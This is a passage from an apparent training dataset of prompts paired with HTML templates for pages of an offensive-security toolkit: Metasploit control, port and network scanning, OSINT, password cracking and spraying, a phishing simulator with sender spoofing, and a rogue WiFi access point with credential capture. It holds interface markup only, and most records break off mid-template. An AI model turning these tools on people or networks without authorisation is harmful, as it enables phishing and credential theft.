style=\"flex:1;font-family:monospace;font-size:0.85rem\" onkeypress=\"if(event.key==='Enter')msfSend()\">\n <button class=\"btn btn-primary btn-sm\" onclick=\"msfSend()\">Send</button>\n <button class=\"btn btn-sm\" onclick=\"msfClear()\">Clear</button>\n </div>\n <div style=\"font-size:0.75rem;color:var(--text-muted);margin-top:0.4rem\">\n Examples: <code>version</code> <code>search ssh</code> <code>use auxiliary/scanner/ssh/ssh_version</code> <code>sessions -l</code>\n </div>\n</div>\n\n<!-- Quick Commands -->\n<div class=\"section\">\n <h2>Quick Commands</h2>\n <div style=\"display:flex;gap:0.5rem;flex-wrap:wrap\">\n <button class=\"btn btn-sm\" onclick=\"msfQuick('version')\">version</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('sessions -l')\">sessions</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('jobs -l')\">jobs</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('route')\">routes</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('hosts')\">hosts</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('services')\">services</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('creds')\">creds</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('vulns')\">vulns</button>\n <button class=\"btn btn-sm\" onclick=\"msfQuick('db_status')\">db_status</button>\n </div>\n</div>\n\n<script>\nconst term = document.getElementById('msf-terminal');\n\nfunction termPrint(text, cls) {\n const span = document.createElement('span');\n if (cls) span.className = cls;\n span.textContent = text;\n term.appendChild(span);\n term.scrollTop = term.scrollHeight;\n}\n\nfunction msfClear() {\n term.innerHTML = '';\n}\n\nasync function msfCheckStatus() {\n try {\n const res = await fetch('/msf/status');\n const d = await res.json();\n const dot = document.getElementById('msf-conn-dot');\n const label = document.getElementById('msf-conn-label');\n const info = document.getElementById('msf-conn-info');\n if (d.connected) {\n dot.className = 'status-dot active';\n label.textContent = 'Connected';\n if (d.host) info.textContent = d.host + ':' + (d.port || 55553);\n } else {\n dot.className = 'status-dot
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Net Mapper' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: net_mapper.html\nSections: 0\nTabs: 2\nForms/API calls: 8\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Net Mapper — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Network Topology Mapper</h1>\n <p class=\"text-muted\">Host discovery, service enumeration, topology visualization</p>\n</div>\n\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('discover')\">Discover</button>\n <button class=\"tab\" onclick=\"switchTab('map')\">Map</button>\n <button class=\"tab\" onclick=\"switchTab('scans')\">Saved Scans</button>\n</div>\n\n<!-- Discover -->\n<div id=\"tab-discover\" class=\"tab-content active\">\n <div class=\"card\" style=\"max-width:700px\">\n <h3>Host Discovery</h3>\n <div style=\"display:flex;gap:0.5rem;align-items:end\">\n <div class=\"form-group\" style=\"flex:1;margin:0\">\n <label>Target (CIDR, range, or single IP)</label>\n <input type=\"text\" id=\"disc-target\" class=\"form-control\" placeholder=\"192.168.1.0/24\">\n </div>\n <select id=\"disc-method\" class=\"form-control\" style=\"width:130px\">\n <option value=\"auto\">Auto</option>\n <option value=\"nmap\">Nmap</option>\n <option value=\"icmp\">ICMP/TCP</option>\n </select>\n <button class=\"btn btn-primary\" id=\"disc-btn\" onclick=\"startDiscover()\">Scan</button>\n </div>\n <div id=\"disc-status\" style=\"margin-top:0.5rem\"></div>\n </div>\n\n <div id=\"disc-results\" style=\"margin-top:1rem\">\n <div id=\"disc-empty\" class=\"card\" style=\"text-align:center;color:var(--text-muted)\">Run a discovery scan to find hosts</div>\n <div id=\"disc-hosts\" style=\"display:none\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:0.5rem\">\n <h3>Discovered Hosts (<span id=\"host-count\">0</span>)</h3>\n <div style=\"display:flex;gap:0.5rem\">\n <button class=\"btn btn-sm\" onclick=\"showTopology()\">View Map</button>\n <button class=\"btn btn-sm\" onclick=\"saveScan()\">Save Scan</button>\n </div>\n </div>\n <table class=\"data-table\">\n <thead><tr><th>IP</th><th>Hostname</th><th>MAC</th><th>OS</th><th>Ports</th><th>Action</th></tr></thead>\n <tbody id=\"hosts-body\"></tbody>\n </table>\n </div>\n </div>\n</div>\n\n<!-- Map -->\n<div id=\"tab-map\" class=\"tab-content\" style=\"display:none\">\n <div class=\"card\">\n <h3>Network Topology</h3>\n <div id=\"topology-canvas\" style=\"width:100%;height:500px;background:#0a0a12;border-radius:var(--radius);position:relative;overflow:hidden\">\n <svg id=\"topo-svg\" width=\"100%\" height=\"100%\"></svg>\n </div>\n <div id=\"topo-info\" style=\"margin-top:0.5rem;font-size:0.8rem;color:var(--text-muted)\"></div>\n </div>\n</div>\n\n<!-- Saved Scans -->\n<div id=\"tab-scans\" class=\"tab-content\" style=\"display:none\">\n <h3>Saved Scans</h3>\n <div id=\"scans-list\"></div>\n <div class=\"card\" style=\"margin-top:1rem\">\n <h4>Compare Scans</h4>\n <div style=\"display:flex;gap:0.5rem;align-items:end\">\n <select id=\"diff-s1\" class=\"form-control\" style=\"flex:1\"></select>\n <span>vs</span>\n <select id=\"diff-s2\" class=\"form-control\" style=\"flex:1\"></select>\n <button class=\"btn btn-primary\" onclick=\"diffScans()\">Compare</button>\n </div>\n <div id=\"diff-results\" style=\"margin-top:0.5rem\"></div>\n </div>\n</div>\n\n<style>\n.node-circle{cursor:pointer;tran
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Network' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: network.html\nSections: 5\nTabs: 3\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Network Security - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Network Security</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Connection analysis, intrusion detection, rogue device scanning, and real-time monitoring.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\" id=\"network-tab-bar\">\n <button class=\"tab active\" onclick=\"networkTab('connections')\">Connections</button>\n <button class=\"tab\" onclick=\"networkTab('ids')\">Intrusion Detection</button>\n <button class=\"tab\" onclick=\"networkTab('rogue')\">Rogue Devices</button>\n <button class=\"tab\" onclick=\"networkTab('monitor')\">Monitor</button>\n</div>\n\n<!-- ==================== CONNECTIONS TAB ==================== -->\n<div class=\"network-tab-panel\" id=\"network-tab-connections\">\n\n<div class=\"section\">\n <h2>Active Connections</h2>\n <div style=\"display:flex;gap:0.5rem;flex-wrap:wrap;margin-bottom:1rem\">\n <button class=\"btn btn-primary\" onclick=\"scanConnections()\">Scan Connections</button>\n <button class=\"btn\" onclick=\"scanArpTable()\">ARP Table</button>\n <button class=\"btn\" onclick=\"scanInterfaces()\">Interfaces</button>\n </div>\n <div id=\"conn-status\" style=\"margin-bottom:0.5rem;font-size:0.85rem;color:var(--text-secondary)\"></div>\n <div id=\"conn-results\" style=\"overflow-x:auto\"></div>\n</div>\n\n</div>\n\n<!-- ==================== INTRUSION DETECTION TAB ==================== -->\n<div class=\"network-tab-panel hidden\" id=\"network-tab-ids\">\n\n<div class=\"section\">\n <h2>Intrusion Detection System</h2>\n <div style=\"display:flex;gap:0.5rem;align-items:center;margin-bottom:1rem\">\n <button class=\"btn btn-primary\" onclick=\"runIdsScan()\">Run IDS Scan</button>\n <span id=\"ids-overall\" style=\"font-size:0.85rem\"></span>\n </div>\n <div id=\"ids-results\"></div>\n</div>\n\n</div>\n\n<!-- ==================== ROGUE DEVICES TAB ==================== -->\n<div class=\"network-tab-panel hidden\" id=\"network-tab-rogue\">\n\n<div class=\"section\">\n <h2>Rogue Device Detection</h2>\n <div style=\"display:flex;gap:0.5rem;align-items:center;margin-bottom:1rem\">\n <button class=\"btn btn-primary\" onclick=\"scanRogueDevices()\">Scan for Rogues</button>\n <span id=\"rogue-summary\" style=\"font-size:0.85rem;color:var(--text-secondary)\"></span>\n </div>\n\n <div id=\"rogue-new\" style=\"margin-bottom:1rem\"></div>\n\n <h3 style=\"margin-top:1rem\">Known Devices</h3>\n <div id=\"rogue-known\" style=\"overflow-x:auto\"></div>\n</div>\n\n</div>\n\n<!-- ==================== MONITOR TAB ==================== -->\n<div class=\"network-tab-panel hidden\" id=\"network-tab-monitor\">\n\n<div class=\"section\">\n <h2>Real-Time Connection Monitor</h2>\n <div style=\"display:flex;gap:0.5rem;align-items:center;margin-bottom:1rem\">\n <button class=\"btn btn-primary\" id=\"monitor-start-btn\" onclick=\"startMonitor()\">Start Monitor</button>\n <button class=\"btn btn-danger\" id=\"monitor-stop-btn\" onclick=\"stopMonitor()\" disabled>Stop Monitor</button>\n <span id=\"monitor-status\" style=\"font-size:0.85rem;color:var(--text-secondary)\">Stopped</span>\n </div>\n <div id=\"monitor-feed\" style=\"overflow-x:auto;max-height:500px;overflow-y:auto\">\n <table class=\"data-table\" style=\"font-size:0.8rem\">\n <thead><tr><th>Time</th><th>Protocol</th><th>Local</th><th>Remote</th><th>Process</th></tr></thead>\n <tbody id=\"monitor-body\"></tbody>\n </table>\n </div>\n</div>\n\n</div>\n\n<!-- =================
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Offense' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: offense.html\nSections: 7\nTabs: 10\nForms/API calls: 14\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Offense - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Offense</h1>\n</div>\n\n<!-- MSF Server Control -->\n<div class=\"section\">\n <h2>Metasploit Server</h2>\n <div style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div class=\"status-indicator\" id=\"msf-status\">\n <span class=\"status-dot inactive\"></span>Checking...\n </div>\n <div id=\"msf-version\" style=\"font-size:0.8rem;color:var(--text-muted)\"></div>\n <div style=\"flex:1\"></div>\n <button id=\"btn-connect\" class=\"btn btn-primary btn-small\" onclick=\"msfConnect()\" style=\"display:none\">Connect</button>\n <button id=\"btn-disconnect\" class=\"btn btn-small\" onclick=\"msfDisconnect()\" style=\"display:none\">Disconnect</button>\n <button id=\"btn-start-server\" class=\"btn btn-small\" onclick=\"toggleServerPanel()\" style=\"display:none\">Start Server</button>\n <button id=\"btn-stop-server\" class=\"btn btn-danger btn-small\" onclick=\"msfStopServer()\" style=\"display:none\">Stop Server</button>\n </div>\n\n <!-- Server config panel (hidden by default) -->\n <div id=\"server-panel\" style=\"display:none;margin-top:0.75rem;padding:0.75rem;background:var(--surface);border:1px solid var(--border);border-radius:6px\">\n <div style=\"display:grid;grid-template-columns:1fr 80px 1fr 1fr;gap:0.5rem;align-items:end\">\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"msf-host\">Host</label>\n <input type=\"text\" id=\"msf-host\" value=\"127.0.0.1\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"msf-port\">Port</label>\n <input type=\"text\" id=\"msf-port\" value=\"55553\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"msf-user\">Username</label>\n <input type=\"text\" id=\"msf-user\" value=\"msf\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"msf-pass\">Password</label>\n <input type=\"password\" id=\"msf-pass\" placeholder=\"required\">\n </div>\n </div>\n <div style=\"display:flex;align-items:center;gap:0.75rem;margin-top:0.5rem\">\n <label style=\"font-size:0.85rem;display:flex;align-items:center;gap:0.3rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"msf-ssl\" checked> SSL\n </label>\n <div style=\"flex:1\"></div>\n <button class=\"btn btn-small\" onclick=\"msfSaveSettings()\">Save Settings</button>\n <button class=\"btn btn-primary btn-small\" onclick=\"msfStartServer()\">Start & Connect</button>\n <button class=\"btn btn-small\" onclick=\"msfConnectOnly()\">Connect Only</button>\n </div>\n <div id=\"server-msg\" style=\"font-size:0.8rem;color:var(--text-muted);margin-top:0.5rem\"></div>\n </div>\n</div>\n\n<!-- Module Search -->\n<div class=\"section\">\n <h2>Module Search</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"msf-search\" placeholder=\"Search modules (e.g., eternalblue, smb, ssh)\" onkeypress=\"if(event.key==='Enter')searchMSFModules()\">\n <button id=\"btn-msf-search\" class=\"btn btn-primary\" onclick=\"searchMSFModules()\">Search</button>\n </div>\n <div id=\"msf-search-results\" class=\"results-stream\" style=\"max-height:400px;overflow-y:auto\">\n <div class=\"empty-state\">Search the offline module library or connected MSF instance.</div>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Osint' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: osint.html\nSections: 6\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}OSINT - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>OSINT Search Engine</h1>\n <div style=\"font-size:0.82rem;color:var(--text-secondary)\">\n {% if db_stats and db_stats.total_sites %}\n {{ db_stats.total_sites }} sites in database\n {% endif %}\n </div>\n</div>\n\n<!-- Search Box -->\n<div class=\"section\">\n <h2>Search</h2>\n <div class=\"search-box\">\n <select id=\"osint-type\" class=\"btn\">\n <option value=\"username\">Username</option>\n <option value=\"email\">Email</option>\n <option value=\"phone\">Phone</option>\n <option value=\"domain\">Domain</option>\n </select>\n <input type=\"text\" id=\"osint-query\" placeholder=\"Enter search query...\" onkeypress=\"if(event.key==='Enter')startOsintSearch()\">\n <button id=\"search-btn\" class=\"btn btn-primary\" onclick=\"startOsintSearch()\">Search</button>\n <button id=\"stop-btn\" class=\"btn btn-stop btn-small\" onclick=\"stopOsintSearch()\" style=\"display:none\">Stop</button>\n </div>\n\n <!-- Basic Options Row -->\n <div class=\"search-options\">\n <div class=\"form-group\" style=\"margin-bottom:0;min-width:120px\">\n <select id=\"osint-max\">\n <option value=\"100\">Quick (100)</option>\n <option value=\"500\" selected>Standard (500)</option>\n <option value=\"0\">Full (All)</option>\n </select>\n </div>\n <label class=\"checkbox-label\">\n <input type=\"checkbox\" id=\"osint-nsfw\" {{ 'checked' if osint_settings.include_nsfw }}>\n Include NSFW\n </label>\n </div>\n\n <!-- Category Filter -->\n {% if categories %}\n <div style=\"margin-bottom:12px\">\n <div class=\"cat-select-all\">\n <label class=\"checkbox-label\">\n <input type=\"checkbox\" id=\"cat-all\" checked onchange=\"toggleAllCategories(this.checked)\">\n <strong>All Categories</strong> <span class=\"cat-count\">({{ categories|length }})</span>\n </label>\n </div>\n <div class=\"category-checkboxes\" id=\"category-checkboxes\">\n {% for cat_name, cat_count in categories %}\n <label>\n <input type=\"checkbox\" class=\"cat-checkbox\" value=\"{{ cat_name }}\" checked>\n {{ cat_name }} <span class=\"cat-count\">({{ cat_count }})</span>\n </label>\n {% endfor %}\n </div>\n </div>\n {% endif %}\n\n <!-- Advanced Options -->\n <div class=\"advanced-panel\">\n <span class=\"advanced-toggle\" onclick=\"toggleAdvanced()\">\n <span class=\"arrow\" id=\"adv-arrow\">▶</span> Advanced Options\n </span>\n <div class=\"advanced-body\" id=\"advanced-body\">\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Threads</label>\n <input type=\"range\" id=\"osint-threads\" min=\"1\" max=\"20\" value=\"{{ osint_settings.max_threads }}\" oninput=\"document.getElementById('threads-val').textContent=this.value\">\n <span id=\"threads-val\" style=\"font-size:0.8rem;color:var(--text-secondary)\">{{ osint_settings.max_threads }}</span>\n </div>\n <div class=\"form-group\">\n <label>Timeout (seconds)</label>\n <input type=\"number\" id=\"osint-timeout\" value=\"{{ osint_settings.timeout }}\" min=\"3\" max=\"30\">\n </div>\n </div>\n <div class=\"form-row\">\n <div cla
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Password Toolkit' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: password_toolkit.html\nSections: 0\nTabs: 4\nForms/API calls: 12\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Password Toolkit — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Password Toolkit</h1>\n <p class=\"text-muted\">Hash identification, cracking, generation, and credential testing</p>\n</div>\n\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('identify')\">Identify</button>\n <button class=\"tab\" onclick=\"switchTab('crack')\">Crack</button>\n <button class=\"tab\" onclick=\"switchTab('generate')\">Generate</button>\n <button class=\"tab\" onclick=\"switchTab('spray')\">Spray</button>\n <button class=\"tab\" onclick=\"switchTab('wordlists')\">Wordlists</button>\n</div>\n\n<!-- Identify Tab -->\n<div id=\"tab-identify\" class=\"tab-content active\">\n <div class=\"card\" style=\"max-width:800px\">\n <h3>Hash Identification</h3>\n <div class=\"form-group\">\n <label>Hash (one per line for batch)</label>\n <textarea id=\"id-hash\" class=\"form-control\" rows=\"3\" placeholder=\"e3b0c44298fc1c149afbf4c8996fb924...\"></textarea>\n </div>\n <button class=\"btn btn-primary\" onclick=\"identifyHash()\">Identify</button>\n <div id=\"id-results\" style=\"margin-top:1rem\"></div>\n </div>\n <div class=\"card\" style=\"margin-top:1rem;max-width:800px\">\n <h3>Hash a String</h3>\n <div style=\"display:flex;gap:0.5rem;align-items:end\">\n <div class=\"form-group\" style=\"flex:1;margin:0\">\n <label>Plaintext</label>\n <input type=\"text\" id=\"hash-plaintext\" class=\"form-control\" placeholder=\"text to hash\">\n </div>\n <div class=\"form-group\" style=\"width:140px;margin:0\">\n <label>Algorithm</label>\n <select id=\"hash-algo\" class=\"form-control\">\n <option value=\"md5\">MD5</option>\n <option value=\"sha1\">SHA-1</option>\n <option value=\"sha256\" selected>SHA-256</option>\n <option value=\"sha512\">SHA-512</option>\n </select>\n </div>\n <button class=\"btn btn-primary\" onclick=\"hashString()\" style=\"height:38px\">Hash</button>\n </div>\n <div id=\"hash-result\" style=\"margin-top:0.5rem;font-family:monospace;font-size:0.85rem;word-break:break-all\"></div>\n </div>\n</div>\n\n<!-- Crack Tab -->\n<div id=\"tab-crack\" class=\"tab-content\" style=\"display:none\">\n <div class=\"card\" style=\"max-width:800px\">\n <h3>Hash Cracker</h3>\n <div class=\"form-group\">\n <label>Hash</label>\n <input type=\"text\" id=\"crack-hash\" class=\"form-control\" placeholder=\"hash to crack\">\n </div>\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:0.5rem\">\n <div class=\"form-group\">\n <label>Hash Type</label>\n <select id=\"crack-type\" class=\"form-control\">\n <option value=\"auto\">Auto-detect</option>\n <option value=\"MD5\">MD5</option>\n <option value=\"SHA-1\">SHA-1</option>\n <option value=\"SHA-256\">SHA-256</option>\n <option value=\"SHA-512\">SHA-512</option>\n <option value=\"NTLM\">NTLM</option>\n <option value=\"bcrypt\">bcrypt</option>\n <option value=\"SHA-512 Crypt\">SHA-512 Crypt</option>\n <option value=\"MySQL 4.1+\">MySQL 4.1+</option>\n </select>\n </div>\n <div class=\"form-group\">\n <label>Attack Mode</label>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Phishmail' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: phishmail.html\nSections: 0\nTabs: 0\nForms/API calls: 31\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Gone Fishing — AUTARCH{% endblock %}\n{% block content %}\n<h1>Gone Fishing Mail Service</h1>\n<div class=\"card\" style=\"background:var(--bg-input);border-left:4px solid var(--accent);padding:0.75rem 1rem;margin-bottom:1.25rem\">\n <strong>Demo Version</strong> — This is a demo of the mail module. A full version is available by request and verification of the user's intent.\n</div>\n<p style=\"color:var(--text-secondary);margin-bottom:1.5rem\">\n Local network phishing simulator — sender spoofing, campaigns, tracking, certificate generation.\n <span style=\"color:var(--danger);font-weight:600\">Local network only.</span>\n</p>\n\n<!-- Tabs -->\n<div class=\"tabs\" style=\"display:flex;gap:0;border-bottom:2px solid var(--border);margin-bottom:1.5rem\">\n <button class=\"tab-btn active\" onclick=\"switchTab('compose',this)\">Compose</button>\n <button class=\"tab-btn\" onclick=\"switchTab('campaigns',this)\">Campaigns</button>\n <button class=\"tab-btn\" onclick=\"switchTab('templates',this)\">Templates</button>\n <button class=\"tab-btn\" onclick=\"switchTab('landing',this)\">Landing Pages</button>\n <button class=\"tab-btn\" onclick=\"switchTab('captures',this)\">Captures</button>\n <button class=\"tab-btn\" onclick=\"switchTab('dkim',this)\">DKIM / DNS</button>\n <button class=\"tab-btn\" onclick=\"switchTab('evasion',this)\">Evasion</button>\n <button class=\"tab-btn\" onclick=\"switchTab('server',this)\">Server & Certs</button>\n</div>\n\n<!-- ═══════════════════ COMPOSE TAB ═══════════════════ -->\n<div id=\"tab-compose\" class=\"tab-pane\">\n <div class=\"card\" style=\"padding:1.25rem\">\n <h3 style=\"margin-bottom:1rem\">Compose Email</h3>\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:0.75rem\">\n <div>\n <label class=\"form-label\">From Name</label>\n <input id=\"c-from-name\" class=\"form-input\" value=\"IT Department\" placeholder=\"Display name\">\n </div>\n <div>\n <label class=\"form-label\">From Address</label>\n <input id=\"c-from-addr\" class=\"form-input\" value=\"it@company.local\" placeholder=\"sender@domain\">\n </div>\n <div style=\"grid-column:span 2\">\n <label class=\"form-label\">To (comma-separated, local network only)</label>\n <input id=\"c-to\" class=\"form-input\" placeholder=\"user@192.168.1.10, admin@mail.local\">\n <span id=\"c-to-status\" style=\"font-size:0.8rem\"></span>\n </div>\n <div style=\"grid-column:span 2\">\n <label class=\"form-label\">Subject</label>\n <input id=\"c-subject\" class=\"form-input\" placeholder=\"Email subject\">\n </div>\n </div>\n\n <!-- Template selector -->\n <div style=\"margin:1rem 0 0.5rem\">\n <label class=\"form-label\">Template</label>\n <select id=\"c-template\" class=\"form-input\" onchange=\"loadTemplate(this.value)\">\n <option value=\"\">— Custom —</option>\n </select>\n </div>\n\n <!-- Body -->\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:0.75rem;margin-top:0.75rem\">\n <div>\n <label class=\"form-label\">HTML Body</label>\n <textarea id=\"c-html\" class=\"form-input\" rows=\"10\" style=\"font-family:monospace;font-size:0.8rem\" placeholder=\"<html>...</html>\"></textarea>\n </div>\n <div>\n <label class=\"form-la
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Pineapple' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: pineapple.html\nSections: 11\nTabs: 3\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — WiFi Pineapple{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>WiFi Pineapple / Rogue AP</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Evil twin, captive portal, karma attack, DNS spoofing, and credential capture.\n </p>\n</div>\n\n<!-- Status Banner -->\n<div id=\"pine-status-banner\" class=\"section\" style=\"display:none;padding:12px 18px;margin-bottom:16px;border:1px solid var(--border);border-radius:var(--radius)\">\n <div style=\"display:flex;align-items:center;gap:12px;flex-wrap:wrap\">\n <span id=\"pine-status-dot\" style=\"width:10px;height:10px;border-radius:50%;background:#ef4444;display:inline-block\"></span>\n <strong id=\"pine-status-text\">Stopped</strong>\n <span id=\"pine-status-ssid\" style=\"color:var(--text-secondary);font-size:0.85rem\"></span>\n <span id=\"pine-status-clients\" style=\"color:var(--text-secondary);font-size:0.85rem\"></span>\n <span id=\"pine-status-features\" style=\"color:var(--text-secondary);font-size:0.85rem\"></span>\n </div>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"pine\" data-tab=\"ap\" onclick=\"showTab('pine','ap')\">Rogue AP</button>\n <button class=\"tab\" data-tab-group=\"pine\" data-tab=\"portal\" onclick=\"showTab('pine','portal')\">Captive Portal</button>\n <button class=\"tab\" data-tab-group=\"pine\" data-tab=\"clients\" onclick=\"showTab('pine','clients')\">Clients</button>\n <button class=\"tab\" data-tab-group=\"pine\" data-tab=\"traffic\" onclick=\"showTab('pine','traffic')\">Traffic</button>\n</div>\n\n<!-- ==================== ROGUE AP TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"pine\" data-tab=\"ap\">\n\n<div class=\"section\">\n <h2>Access Point Configuration</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Configure and launch a rogue access point using hostapd and dnsmasq.\n </p>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Wireless Interface</label>\n <select id=\"pine-iface\">\n <option value=\"\">-- loading --</option>\n </select>\n </div>\n <div class=\"form-group\">\n <label>SSID</label>\n <input type=\"text\" id=\"pine-ssid\" placeholder=\"FreeWiFi\" value=\"FreeWiFi\">\n </div>\n <div class=\"form-group\" style=\"max-width:120px\">\n <label>Channel</label>\n <select id=\"pine-channel\">\n <option value=\"1\">1</option>\n <option value=\"2\">2</option>\n <option value=\"3\">3</option>\n <option value=\"4\">4</option>\n <option value=\"5\">5</option>\n <option value=\"6\" selected>6</option>\n <option value=\"7\">7</option>\n <option value=\"8\">8</option>\n <option value=\"9\">9</option>\n <option value=\"10\">10</option>\n <option value=\"11\">11</option>\n <option value=\"12\">12</option>\n <option value=\"13\">13</option>\n <option value=\"14\">14</option>\n </select>\n </div>\n </div>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"max-width:160px\">\n <label>Encryption</label>\n <select id=\"pine-enc\" onchange=\"document.getElementById('pine-pass-group').style.display=this.value==='open'?'none':'block'\">\n <option value=\"open\">Open (No Password)</option>\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Port Scanner' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: port_scanner.html\nSections: 0\nTabs: 0\nForms/API calls: 2\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Port Scanner — AUTARCH{% endblock %}\n{% block content %}\n\n<div class=\"page-header\">\n <h1>Port Scanner</h1>\n <p class=\"text-muted\" style=\"font-size:0.85rem;color:var(--text-secondary)\">\n Advanced TCP port scanner with nmap integration and real-time live output\n </p>\n</div>\n\n<div style=\"display:grid;grid-template-columns:380px 1fr;gap:1.25rem;align-items:start\">\n\n <!-- ── Config Panel ── -->\n <div>\n <div class=\"card\">\n <h3>Scan Configuration</h3>\n\n <div class=\"form-group\">\n <label>Target Host / IP</label>\n <input type=\"text\" id=\"ps-target\" class=\"form-control\"\n placeholder=\"192.168.1.1 or hostname.local\"\n onkeypress=\"if(event.key==='Enter')startScan()\">\n </div>\n\n <div class=\"form-group\">\n <label>Scan Mode</label>\n <select id=\"ps-mode\" class=\"form-control\" onchange=\"onModeChange()\">\n <option value=\"quick\">Quick — 22 common ports (~1s)</option>\n <option value=\"common\" selected>Common — 110 well-known ports (~5s)</option>\n <option value=\"full\">Full — All 65,535 ports (may take minutes)</option>\n <option value=\"custom\">Custom — Specify ports / ranges</option>\n </select>\n </div>\n\n <div class=\"form-group\" id=\"custom-ports-group\" style=\"display:none\">\n <label>Ports / Ranges (e.g. 22,80,443,8000-9000)</label>\n <input type=\"text\" id=\"ps-custom-ports\" class=\"form-control\"\n placeholder=\"22,80,443,1024-2048\">\n </div>\n\n <!-- Options -->\n <div style=\"padding:12px;background:var(--bg-primary);border:1px solid var(--border);border-radius:var(--radius);margin-bottom:14px\">\n <div style=\"font-size:0.75rem;font-weight:600;color:var(--text-muted);text-transform:uppercase;letter-spacing:0.05em;margin-bottom:10px\">Options</div>\n\n <div style=\"display:flex;flex-wrap:wrap;gap:10px;margin-bottom:10px\">\n <label style=\"display:flex;align-items:center;gap:6px;font-size:0.83rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"opt-nmap\" style=\"width:auto\"> Use nmap\n </label>\n <label style=\"display:flex;align-items:center;gap:6px;font-size:0.83rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"opt-svc\" style=\"width:auto\"> Service detection (-sV)\n </label>\n <label style=\"display:flex;align-items:center;gap:6px;font-size:0.83rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"opt-os\" style=\"width:auto\"> OS fingerprint (-O)\n </label>\n <label style=\"display:flex;align-items:center;gap:6px;font-size:0.83rem;cursor:pointer\">\n <input type=\"checkbox\" id=\"opt-agg\" style=\"width:auto\"> Aggressive (-A)\n </label>\n </div>\n\n <div style=\"display:grid;grid-template-columns:1fr 1fr 1fr;gap:8px\">\n <div>\n <div style=\"font-size:0.75rem;color:var(--text-muted);margin-bottom:3px\">Timeout (s)</div>\n <input type=\"number\" id=\"opt-timeout\" class=\"form-control\" value=\"1.0\" min=\"0.1\" max=\"10\" step=\"0.1\">\n </div>\n <div>\n <div style=\"font-size
|
|||
|
|
